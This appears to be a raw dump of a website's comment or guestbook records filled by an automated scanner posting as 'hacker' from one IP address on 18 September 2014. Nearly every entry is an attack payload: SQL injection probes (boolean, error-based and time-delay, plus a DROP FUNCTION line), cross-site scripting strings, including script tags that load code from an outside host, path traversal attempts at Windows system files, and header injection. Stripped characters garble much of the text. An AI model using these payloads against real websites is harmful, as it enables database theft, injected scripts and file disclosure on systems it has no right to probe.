88888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND NASDAQNASDAQ
hacker2014-9-18 0:15:27182.118.33.688888,IIF(1755,88888,1/0) 
88888
hacker2014-9-18 0:15:28182.118.33.688888 
88888) AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND (NASDAQNASDAQ
hacker2014-9-18 0:15:29182.118.33.688888,IIF(9696,88888,1/0) 
88888
hacker2014-9-18 0:15:32182.118.33.688888 
88888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND
hacker2014-9-18 0:15:33182.118.33.688888,(SELECT (CASE WHEN (2961) THEN 88888 ELSE 29*(SELECT 29 FROM master..sysdatabases) END)) 
88888
hacker2014-9-18 0:15:34182.118.33.688888 
88888) AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND (20142014
hacker2014-9-18 0:15:36182.118.33.688888 
88888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL)
hacker2014-9-18 0:15:37182.118.33.688888,(SELECT (CASE WHEN (6969) THEN 88888 ELSE 69*(SELECT 69 FROM master..sysdatabases) END)) 
88888
hacker2014-9-18 0:15:47182.118.33.688888 
(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
hacker2014-9-18 0:15:48182.118.33.688888 RLIKE (SELECT (CASE WHEN (7382) THEN 88888 ELSE 0x28 END)) 
88888
hacker2014-9-18 0:15:49182.118.33.688888 RLIKE (SELECT (CASE WHEN (1212) THEN 88888 ELSE 0x28 END)) 
88888
hacker2014-9-18 0:15:50182.118.33.688888 
(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1))
hacker2014-9-18 0:15:51182.118.33.688888 
EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74))
hacker2014-9-18 0:15:52182.118.33.688888) RLIKE (SELECT (CASE WHEN (1369) THEN 88888 ELSE 0x28 END)) AND (1313 
88888
hacker2014-9-18 0:15:52182.118.33.688888 
CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101)))
hacker2014-9-18 0:15:54182.118.33.688888) RLIKE (SELECT (CASE WHEN (6565) THEN 88888 ELSE 0x28 END)) AND (7171 
88888
hacker2014-9-18 0:15:54182.118.33.688888 
(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL)
hacker2014-9-18 0:15:55182.118.33.688888) OR 3838 OR (3838) LIMIT 100 -- 
88888
hacker2014-9-18 0:15:55182.118.33.688888 
(SELECT CHAR(116)+CHAR(104)+CHAR(105)+CHAR(110)+CHAR(107)+CHAR(58)+(SELECT (CASE WHEN (19431943) THEN CHAR(105) ELSE CHAR(48) END))+CHAR(58)+CHAR(100)+CHAR(105)+CHAR(102)+CHAR(102)+CHAR(101)+CHAR(114)+CHAR(101)+CHAR(110)+CHAR(116))
hacker2014-9-18 0:15:57182.118.33.688888) OR 6471 OR (6471 
88888
hacker2014-9-18 0:15:58182.118.33.688888 
88888 AND 2633
hacker2014-9-18 0:15:58182.118.33.6(SELECT (CASE WHEN (4743) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-9-18 0:15:59182.118.33.688888 
88888 AND 9999
hacker2014-9-18 0:15:59182.118.33.6(SELECT (CASE WHEN (1616) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-9-18 0:15:59182.118.33.688888 
88888) AND 1228 AND (1212
hacker2014-9-18 0:15:59182.118.33.6IIF(7341,88888,1/0) 
88888
hacker2014-9-18 0:16:00182.118.33.688888 
88888) AND 4242 AND (4242
hacker2014-9-18 0:16:02182.118.33.6IIF(7575,88888,1/0) 
88888
hacker2014-9-18 0:16:03182.118.33.6(SELECT (CASE WHEN (1395) THEN 88888 ELSE 13*(SELECT 13 FROM master..sysdatabases) END)) 
88888
hacker2014-9-18 0:16:05182.118.33.688888 
88888 OR 4949 LIMIT 100 --
hacker2014-9-18 0:16:05182.118.33.6(SELECT (CASE WHEN (5353) THEN 88888 ELSE 53*(SELECT 53 FROM master..sysdatabases) END)) 
88888
hacker2014-9-18 0:16:05182.118.33.688888 
88888 OR 9537
hacker2014-9-18 0:16:17182.118.33.688888 
88888,(SELECT (CASE WHEN (3738) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-9-18 0:16:21182.118.33.6(SELECT (CASE WHEN (5353) THEN 88888 ELSE 53*(SELECT 53 FROM master..sysdatabases) END)) 
88888
hacker2014-9-18 0:16:28182.118.33.688888 AND sXMy 
88888
hacker2014-9-18 0:16:31182.118.33.688888 
88888,(SELECT (CASE WHEN (4646) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-9-18 0:16:31182.118.33.688888 AND h8h8 
88888
hacker2014-9-18 0:16:31182.118.33.688888 
88888,IIF(4318,88888,1/0)
hacker2014-9-18 0:16:32182.118.33.688888 
88888,IIF(3131,88888,1/0)
hacker2014-9-18 0:16:33182.118.33.688888 
88888,(SELECT (CASE WHEN (3927) THEN 88888 ELSE 39*(SELECT 39 FROM master..sysdatabases) END))
hacker2014-9-18 0:16:33182.118.33.688888 
88888
hacker2014-9-18 0:16:34182.118.33.688888 
88888,(SELECT (CASE WHEN (1616) THEN 88888 ELSE 16*(SELECT 16 FROM master..sysdatabases) END))
hacker2014-9-18 0:16:34182.118.33.688888 
88888
hacker2014-9-18 0:16:35182.118.33.688888 
88888
hacker2014-9-18 0:16:36182.118.33.688888 
88888 RLIKE (SELECT (CASE WHEN (6451) THEN 88888 ELSE 0x28 END))
hacker2014-9-18 0:16:36182.118.33.688888 AND 2456 AND  
88888
hacker2014-9-18 0:16:37182.118.33.688888 
88888
hacker2014-9-18 0:16:38182.118.33.688888 
88888
hacker2014-9-18 0:16:39182.118.33.688888 
88888 RLIKE (SELECT (CASE WHEN (9999) THEN 88888 ELSE 0x28 END))
hacker2014-9-18 0:16:40182.118.33.688888 
88888
hacker2014-9-18 0:16:40182.118.33.688888 
88888) RLIKE (SELECT (CASE WHEN (1136) THEN 88888 ELSE 0x28 END)) AND (1111
hacker2014-9-18 0:16:41182.118.33.688888 AND 5858 AND  
88888
hacker2014-9-18 0:16:41182.118.33.688888 
88888) RLIKE (SELECT (CASE WHEN (3535) THEN 88888 ELSE 0x28 END)) AND (3636
hacker2014-9-18 0:16:42182.118.33.688888) AND 9788 AND (CYCY 
88888
hacker2014-9-18 0:16:42182.118.33.688888 
88888) OR 4242 OR (4242) LIMIT 100 --
hacker2014-9-18 0:16:43182.118.33.688888) AND 2929 AND (aTaT 
88888
hacker2014-9-18 0:16:43182.118.33.688888 
88888
hacker2014-9-18 0:16:43182.118.33.688888 
(SELECT (CASE WHEN (7688) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-9-18 0:16:44182.118.33.68888827 AND 5827 # 
88888
hacker2014-9-18 0:16:44182.118.33.688888 
(SELECT (CASE WHEN (2222) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-9-18 0:16:45182.118.33.688888 
88888
hacker2014-9-18 0:16:46182.118.33.688888 
IIF(2786,88888,1/0)
hacker2014-9-18 0:16:47182.118.33.688888 
88888
hacker2014-9-18 0:16:47182.118.33.68888827 AND 5959 # 
88888
hacker2014-9-18 0:16:49182.118.33.688888 
(SELECT (CASE WHEN (2191) THEN 88888 ELSE 21*(SELECT 21 FROM master..sysdatabases) END))
hacker2014-9-18 0:16:49182.118.33.688888 
88888
hacker2014-9-18 0:16:51182.118.33.688888 
(SELECT (CASE WHEN (1616) THEN 88888 ELSE 16*(SELECT 16 FROM master..sysdatabases) END))
hacker2014-9-18 0:16:51182.118.33.688888) AND 3849 AND 1 like( 
88888
hacker2014-9-18 0:16:53182.118.33.688888 
88888
hacker2014-9-18 0:16:57182.118.33.688888) AND 3636 AND 1 like( 
88888
hacker2014-9-18 0:16:58182.118.33.688888 
88888
hacker2014-9-18 0:16:58182.118.33.688888 
88888 AND 0Da5
hacker2014-9-18 0:16:59182.118.33.688888 OR D3D3 LIMIT 100 -- 
88888
hacker2014-9-18 0:16:59182.118.33.688888 IF(3616) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-9-18 0:16:59182.118.33.688888 
88888 AND vKvK
hacker2014-9-18 0:17:00182.118.33.688888 IF(8282) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-9-18 0:17:02182.118.33.688888 
88888 AND 3358 AND
hacker2014-9-18 0:17:02182.118.33.688888 
88888
hacker2014-9-18 0:17:07182.118.33.688888) IF(5223) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-9-18 0:17:07182.118.33.688888 
88888
hacker2014-9-18 0:17:07182.118.33.688888 
88888 AND 5252 AND
hacker2014-9-18 0:17:08182.118.33.688888) IF(5858) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-9-18 0:17:09182.118.33.688888 
88888) AND 9251 AND (VRVR
hacker2014-9-18 0:17:11182.118.33.688888 
88888
hacker2014-9-18 0:17:11182.118.33.688888) RLIKE (SELECT (CASE WHEN (1843) THEN 88888 ELSE 0x28 END)) AND (bGbG 
88888
hacker2014-9-18 0:17:13182.118.33.688888 
88888) AND 1515 AND (aTaT
hacker2014-9-18 0:17:13182.118.33.688888) RLIKE (SELECT (CASE WHEN (9898) THEN 88888 ELSE 0x28 END)) AND (fxfx 
88888
hacker2014-9-18 0:17:14182.118.33.688888 
8888827 AND 8227 #
hacker2014-9-18 0:17:16182.118.33.688888 
88888
hacker2014-9-18 0:17:18182.118.33.688888 RLIKE (SELECT (CASE WHEN (8716) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2014-9-18 0:17:18182.118.33.688888 
8888827 AND 4343 #
hacker2014-9-18 0:17:20182.118.33.688888 RLIKE (SELECT (CASE WHEN (3232) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2014-9-18 0:17:27182.118.33.688888 
88888) AND 2233 AND 1 like(
hacker2014-9-18 0:17:27182.118.33.688888 
88888
hacker2014-9-18 0:17:30182.118.33.688888 
88888) AND 4646 AND 1 like(
hacker2014-9-18 0:17:32182.118.33.688888 RLIKE (SELECT (CASE WHEN (7624) THEN 88888 ELSE 0x28 END)) AND nYnY 
88888
hacker2014-9-18 0:17:32182.118.33.688888 
88888 OR QKQK LIMIT 100 --
hacker2014-9-18 0:17:40182.118.33.688888 RLIKE (SELECT (CASE WHEN (4242) THEN 88888 ELSE 0x28 END)) AND emem 
88888
hacker2014-9-18 0:17:41182.118.33.688888 
88888 OR heRX
hacker2014-9-18 0:17:43182.118.33.6(SELECT (CASE WHEN (5978) THEN 88888 ELSE 59*(SELECT 59 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) 
88888
hacker2014-9-18 0:17:44182.118.33.688888 
88888 IF(6342) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-9-18 0:17:47182.118.33.688888 
88888 IF(5454) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-9-18 0:17:47182.118.33.6(SELECT (CASE WHEN (1515) THEN 88888 ELSE 15*(SELECT 15 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) 
88888
hacker2014-9-18 0:17:49182.118.33.688888 
88888
hacker2014-9-18 0:17:52182.118.33.688888 
88888) IF(5561) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-9-18 0:17:55182.118.33.688888 
88888
hacker2014-9-18 0:17:56182.118.33.688888 
88888) IF(3434) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-9-18 0:17:56182.118.33.688888 WAITFOR DELAY 0:0:5-- 
88888
hacker2014-9-18 0:17:57182.118.33.688888 
88888) RLIKE (SELECT (CASE WHEN (4816) THEN 88888 ELSE 0x28 END)) AND (JwJw
hacker2014-9-18 0:18:00182.118.33.688888 
88888) RLIKE (SELECT (CASE WHEN (3333) THEN 88888 ELSE 0x28 END)) AND (yLyL
hacker2014-9-18 0:18:00182.118.33.688888 
88888
hackerscriptalert(42873)/script2014-9-18 0:18:00182.118.33.688888 
88888
hacker2014-9-18 0:18:02182.118.33.688888 
88888 RLIKE (SELECT (CASE WHEN (3295) THEN 88888 ELSE 0x28 END)) AND
hacker2014-9-18 0:18:04182.118.33.688888 
88888
hacker2014-9-18 0:18:07182.118.33.688888 
88888 RLIKE (SELECT (CASE WHEN (1717) THEN 88888 ELSE 0x28 END)) AND
hacker2014-9-18 0:18:07182.118.33.688888 
88888
hacker2014-9-18 0:18:08182.118.33.688888 
88888
hacker2014-9-18 0:18:12182.118.33.688888 
88888
hacker2014-9-18 0:18:12182.118.33.688888 
88888 RLIKE (SELECT (CASE WHEN (6651) THEN 88888 ELSE 0x28 END)) AND GIGI
hacker2014-9-18 0:18:14182.118.33.688888 
88888
hacker2014-9-18 0:18:14182.118.33.688888 
88888 RLIKE (SELECT (CASE WHEN (5959) THEN 88888 ELSE 0x28 END)) AND ptpt
hacker2014-9-18 0:18:15182.118.33.688888 
(SELECT (CASE WHEN (8315) THEN 88888 ELSE 83*(SELECT 83 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
hacker2014-9-18 0:18:15182.118.33.688888) WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-9-18 0:18:16182.118.33.688888 
88888
hacker2014-9-18 0:18:16182.118.33.688888 
88888
hacker2014-9-18 0:18:16182.118.33.688888 
(SELECT (CASE WHEN (7676) THEN 88888 ELSE 76*(SELECT 76 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
hacker2014-9-18 0:18:19182.118.33.688888 
88888
hacker2014-9-18 0:18:22182.118.33.688888 
88888
hacker2014-9-18 0:18:22182.118.33.688888 
88888
hacker2014-9-18 0:18:24182.118.33.688888 
88888
hacker2014-9-18 0:18:24182.118.33.688888 
88888
hacker2014-9-18 0:18:25182.118.33.688888 
88888
hacker2014-9-18 0:18:25182.118.33.688888 
88888 WAITFOR DELAY 0:0:5--
hacker2014-9-18 0:18:26182.118.33.688888 AND SLEEP(5) # 
88888
hacker2014-9-18 0:18:27182.118.33.688888 
88888
hacker2014-9-18 0:18:29182.118.33.688888 
88888 WAITFOR DELAY 0:0:5--
hacker2014-9-18 0:18:29182.118.33.688888 
88888
hacker2014-9-18 0:18:30182.118.33.688888 
88888
hacker2014-9-18 0:18:31182.118.33.688888 
88888
hacker2014-9-18 0:18:32182.118.33.688888 AND SLEEP(5) # 
88888
hacker2014-9-18 0:18:32182.118.33.688888 
88888
hacker2014-9-18 0:18:32182.118.33.688888 
88888 WAITFOR DELAY 0:0:5 --
hacker2014-9-18 0:18:33182.118.33.688888 
88888
hacker2014-9-18 0:18:34182.118.33.688888 
88888
hacker2014-9-18 0:18:35182.118.33.688888) AND SLEEP(5) # 
88888
hacker2014-9-18 0:18:37182.118.33.688888 
88888) WAITFOR DELAY 0:0:5 --
hacker2014-9-18 0:18:37182.118.33.688888 
88888
hacker2014-9-18 0:18:38182.118.33.688888 
88888
hacker2014-9-18 0:18:39182.118.33.688888) AND SLEEP(5) # 
88888
hacker2014-9-18 0:18:39182.118.33.688888 
88888
hacker2014-9-18 0:18:41182.118.33.688888 
88888
hacker2014-9-18 0:18:42182.118.33.688888 
88888
hacker2014-9-18 0:18:42182.118.33.688888 
88888
hacker2014-9-18 0:18:43182.118.33.688888 
88888
hacker2014-9-18 0:18:43182.118.33.688888 
88888)) WAITFOR DELAY 0:0:5 --
hacker272014-9-18 0:18:45182.118.33.688888 
88888
hacker2014-9-18 0:18:46182.118.33.688888 
88888
hacker2014-9-18 0:18:46182.118.33.688888 
88888
hacker2014-9-18 0:18:47182.118.33.688888 
88888
hacker2014-9-18 0:18:48182.118.33.688888 
88888 AND SLEEP(5)
hacker2014-9-18 0:18:48182.118.33.688888 
88888
hacker\2014-9-18 0:18:49182.118.33.688888 
88888
hacker2014-9-18 0:18:49182.118.33.688888 
88888
hacker2014-9-18 0:18:49182.118.33.688888 
88888
hacker2014-9-18 0:18:51182.118.33.688888 
88888 AND SLEEP(5) #
hacker\"2014-9-18 0:18:52182.118.33.688888 
88888
hacker2014-9-18 0:18:53182.118.33.688888 
88888
hacker2014-9-18 0:18:54182.118.33.688888 
88888
hacker2014-9-18 0:18:55182.118.33.688888 
88888
hackerJyI2014-9-18 0:18:55182.118.33.688888 
88888
hacker2014-9-18 0:18:56182.118.33.688888 
88888
hacker2014-9-18 0:18:56182.118.33.688888 
88888 AND SLEEP(5) #
hacker2014-9-18 0:18:58182.118.33.688888 
88888
hacker2014-9-18 0:18:58182.118.33.688888 
88888
hacker"2014-9-18 0:18:59182.118.33.688888 
88888
hacker2014-9-18 0:19:00182.118.33.688888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND TnTTnT 
88888
hacker2014-9-18 0:19:00182.118.33.688888 
88888
hacker2014-9-18 0:19:06182.118.33.688888 
88888
hacker2014-9-18 0:19:06182.118.33.688888 
88888
hacker2014-9-18 0:19:10182.118.33.688888 
88888
hacker?2014-9-18 0:19:11182.118.33.688888 
88888
hacker2014-9-18 0:19:12182.118.33.688888 
88888
hacker2014-9-18 0:19:13182.118.33.688888 
88888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-9-18 0:19:14182.118.33.688888scriptalert(42873)/script 
88888
hacker2014-9-18 0:19:16182.118.33.688888 
88888
hacker2014-9-18 0:19:17182.118.33.688888img src1 erroralert(42873) 
88888
hacker2014-9-18 0:19:18182.118.33.688888 
88888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-9-18 0:19:18182.118.33.688888 
88888
hacker2014-9-18 0:19:19182.118.33.688888 
88888
hacker2014-9-18 0:19:20182.118.33.688888 
88888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-9-18 0:19:24182.118.33.688888div stylewidth:expressi(alert(42873)) 
88888
hacker2014-9-18 0:19:29182.118.33.688888 
88888
hacker2014-9-18 0:19:30182.118.33.688888 
88888
hacker2014-9-18 0:19:30182.118.33.688888 
88888
hacker2014-9-18 0:19:31182.118.33.688888script srchttp://xxooxxoo.js/script 
88888
hacker2014-9-18 0:19:34182.118.33.688888 
88888
hacker2014-9-18 0:19:36182.118.33.688888 
88888
hacker2014-9-18 0:19:36182.118.33.688888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-9-18 0:19:36182.118.33.688888 
88888scriptalert(42873)/script
hacker2014-9-18 0:19:38182.118.33.688888 
88888
hacker"2014-9-18 0:19:40182.118.33.688888 
88888
hacker2014-9-18 0:19:41182.118.33.688888" mousemovealert(42873) wb" 
88888
hacker2014-9-18 0:19:41182.118.33.688888 
88888
hacker2014-9-18 0:19:41182.118.33.688888 
88888
hacker2014-9-18 0:19:42182.118.33.688888 
88888img src1 erroralert(42873)
hacker/2014-9-18 0:19:43182.118.33.688888 
88888
hacker2014-9-18 0:19:45182.118.33.688888 
88888
hacker2014-9-18 0:19:45182.118.33.688888 
88888div stylewidth:expressi(alert(42873))
hacker2014-9-18 0:19:49182.118.33.688888 
88888
hacker2014-9-18 0:19:50182.118.33.688888 
88888
hacker2014-9-18 0:19:50182.118.33.688888 
88888
hacker2014-9-18 0:19:51182.118.33.688888 
88888
hacker2014-9-18 0:19:51182.118.33.688888 
88888script srchttp://xxooxxoo.js/script
hacker2014-9-18 0:19:53182.118.33.688888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
88888
hacker2014-9-18 0:19:53182.118.33.688888 
88888
hacker2014-9-18 0:19:54182.118.33.688888 
88888
hackeralert(42873)2014-9-18 0:20:03182.118.33.688888 
88888
hacker2014-9-18 0:20:04182.118.33.688888" mousemovealert(42873)wb" 
88888
hacker2014-9-18 0:20:04182.118.33.688888 
88888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-9-18 0:20:04182.118.33.688888 
88888
hacker2014-9-18 0:20:08182.118.33.688888 
88888
hacker2014-9-18 0:20:17182.118.33.688888" mouseoverprompt(42873) bad" 
88888
hacker2014-9-18 0:20:18182.118.33.688888 
88888" mousemovealert(42873) wb"
hacker2014-9-18 0:20:29182.118.33.688888" mouseoverprompt(42873) bad" 
88888
hacker2014-9-18 0:20:34182.118.33.688888 
88888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a
hacker2014-9-18 0:20:45182.118.33.688888 
88888" mousemovealert(42873)wb"
hacker2014-9-18 0:20:47182.118.33.688888 
88888" mouseoverprompt(42873) bad"
hacker2014-9-18 0:20:53182.118.33.688888 
88888iframe SRCjavascript:alert(42873)
hacker2014-9-18 0:20:55182.118.33.688888 
88888body ONLOADalert(42873)
hacker2014-9-18 0:21:00182.118.33.688888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-9-18 0:21:03182.118.33.688888iframe SRCjavascript:alert(42873) 
88888
hacker2014-9-18 0:21:03182.118.33.688888 
88888EMBED SRCjavascript:alert(42873)/EMBED
hacker2014-9-18 0:21:07182.118.33.688888 
88888BASE HREF"javascript:alert(42873)//"
hacker2014-9-18 0:21:08182.118.33.688888body ONLOADalert(42873) 
88888
hacker2014-9-18 0:21:09182.118.33.688888 
88888" mouseoverpropromptmpt(42873) bad"
hacker2014-9-18 0:21:15182.118.33.688888 
88888iframe srchttp://xxooxxoo.js
hacker2014-9-18 0:21:16182.118.33.688888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-9-18 0:21:19182.118.33.688888 
88888
hacker2014-9-18 0:21:20182.118.33.688888 
88888
hacker2014-9-18 0:21:22182.118.33.688888 
8888827
hacker2014-9-18 0:21:24182.118.33.688888EMBED SRCjavascript:alert(42873)/EMBED 
88888
hacker2014-9-18 0:21:25182.118.33.688888 
88888
hacker2014-9-18 0:21:26182.118.33.688888 
88888
hacker2014-9-18 0:21:28182.118.33.688888 
88888\
hacker2014-9-18 0:21:30182.118.33.688888BASE HREF"javascript:alert(42873)//" 
88888
hacker2014-9-18 0:21:35182.118.33.688888 
88888\"
hacker2014-9-18 0:21:38182.118.33.688888" mouseoverpropromptmpt(42873) bad" 
88888
hacker2014-9-18 0:21:41182.118.33.688888iframe srchttp://xxooxxoo.js 
88888
hacker2014-9-18 0:21:42182.118.33.688888 
88888JyI
hacker2014-9-18 0:21:43182.118.33.688888 
88888
hacker2014-9-18 0:21:48182.118.33.68888827 
88888
hacker2014-9-18 0:21:48182.118.33.688888 
88888"
hacker2014-9-18 0:21:49182.118.33.688888 
88888?
hacker2014-9-18 0:21:49182.118.33.688888 
88888
hacker2014-9-18 0:21:52182.118.33.688888 
88888e360
hacker2014-9-18 0:21:54182.118.33.688888\ 
88888
hacker2014-9-18 0:21:54182.118.33.688888 
88888"
hacker2014-9-18 0:21:55182.118.33.688888 
88888/
hacker2014-9-18 0:21:58182.118.33.688888\" 
88888
hacker2014-9-18 0:22:00182.118.33.688888 
88888alert(42873)
hacker2014-9-18 0:22:01182.118.33.688888JyI 
88888
hacker2014-9-18 0:22:03182.118.33.688888 
../../../../../../../../boot.ini
hacker2014-9-18 0:22:04182.118.33.688888" 
88888
hacker2014-9-18 0:22:05182.118.33.688888 
../../../../../../../../windows/win.ini
hacker2014-9-18 0:22:06182.118.33.688888 
88888
hacker2014-9-18 0:22:06182.118.33.688888? 
88888
hacker2014-9-18 0:22:07182.118.33.688888 
../../../../../../../../boot.ini
hacker2014-9-18 0:22:09182.118.33.688888e360 
88888
hacker2014-9-18 0:22:10182.118.33.688888 
../../../../../../../../windows/win.ini
hacker2014-9-18 0:22:10182.118.33.688888" 
88888
hacker2014-9-18 0:22:13182.118.33.688888/ 
88888
hacker2014-9-18 0:22:14182.118.33.688888alert(42873) 
88888
hacker2014-9-18 0:22:17182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-9-18 0:22:17182.118.33.688888 
boot.ini
hacker2014-9-18 0:22:18182.118.33.6../../../../../../../../windows/win.ini 
88888
hacker2014-9-18 0:22:20182.118.33.688888 
windows/win.ini
hacker2014-9-18 0:22:20182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-9-18 0:22:22182.118.33.6../../../../../../../../windows/win.ini 
88888
hacker2014-9-18 0:22:25182.118.33.688888 
88888
hacker2014-9-18 0:22:38182.118.33.6boot.ini 
88888
hacker2014-9-18 0:22:38182.118.33.688888 
../../../../../../../../boot.ini
/some_inexistent_file_with_lg_name2014-9-18 0:22:41182.118.33.688888 
88888
hacker2014-9-18 0:22:42182.118.33.6windows/win.ini 
88888
hacker2014-9-18 0:22:46182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-9-18 0:22:47182.118.33.6../../../../../../../../windows/win.ini 
88888
hacker2014-9-18 0:22:49182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-9-18 0:22:51182.118.33.6../../../../../../../../windows/win.ini 
88888
hacker2014-9-18 0:22:52182.118.33.6/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2014-9-18 0:22:53182.118.33.6/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini 
88888
hacker2014-9-18 0:22:54182.118.33.6C:\windows\win.ini 
88888
hacker2014-9-18 0:22:55182.118.33.6..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-9-18 0:22:56182.118.33.6..\..\..\..\..\..\..\..\windows\win.ini 
88888
hacker2014-9-18 0:22:58182.118.33.6../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-9-18 0:22:59182.118.33.6../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini 
88888
hacker2014-9-18 0:23:01182.118.33.6../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-9-18 0:23:03182.118.33.6../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini 
88888
hacker2014-9-18 0:23:05182.118.33.6................windows/win.ini 
88888
hacker2014-9-18 0:23:07182.118.33.6..\..\..\..\..\..\..\..\windows\win.ini 
88888
hacker2014-9-18 0:23:11182.118.33.6|..\..\..\..\..\..\..\..\windows\win.ini 
88888
dir2014-9-18 0:23:27182.118.33.688888 
88888
hacker2014-9-18 0:23:27182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-9-18 0:23:32182.118.33.688888 
../../../../../../../../windows/win.ini
dir2014-9-18 0:23:32182.118.33.688888 
88888
hacker2014-9-18 0:23:33182.118.33.6../../../../../../../../windows/win.ini 
88888
hacker2014-9-18 0:23:37182.118.33.6../../../../../../../../windows/win.ini 
88888
hacker2014-9-18 0:23:41182.118.33.6file:///c:/boot.ini 
88888
hacker2014-9-18 0:23:43182.118.33.6file:///c:/windows/win.ini 
88888
hacker2014-9-18 0:23:47182.118.33.6http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-9-18 0:23:49182.118.33.6/some_inexistent_file_with_lg_name 
88888
hacker2014-9-18 0:23:52182.118.33.6 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-9-18 0:23:55182.118.33.6 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-9-18 0:23:57182.118.33.688888 
../../../../../../../../boot.ini
hacker2014-9-18 0:23:57182.118.33.6 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-9-18 0:23:58182.118.33.688888 
../../../../../../../../windows/win.ini
hacker2014-9-18 0:23:59182.118.33.6dir 
88888
hacker2014-9-18 0:24:01182.118.33.688888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-9-18 0:24:03182.118.33.6dir 
88888
hacker2014-9-18 0:24:03182.118.33.688888 
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
hacker2014-9-18 0:24:06182.118.33.688888 
C:\windows\win.ini
hacker2014-9-18 0:24:06182.118.33.6http://oxoxoxoxoxoxox.com 
88888
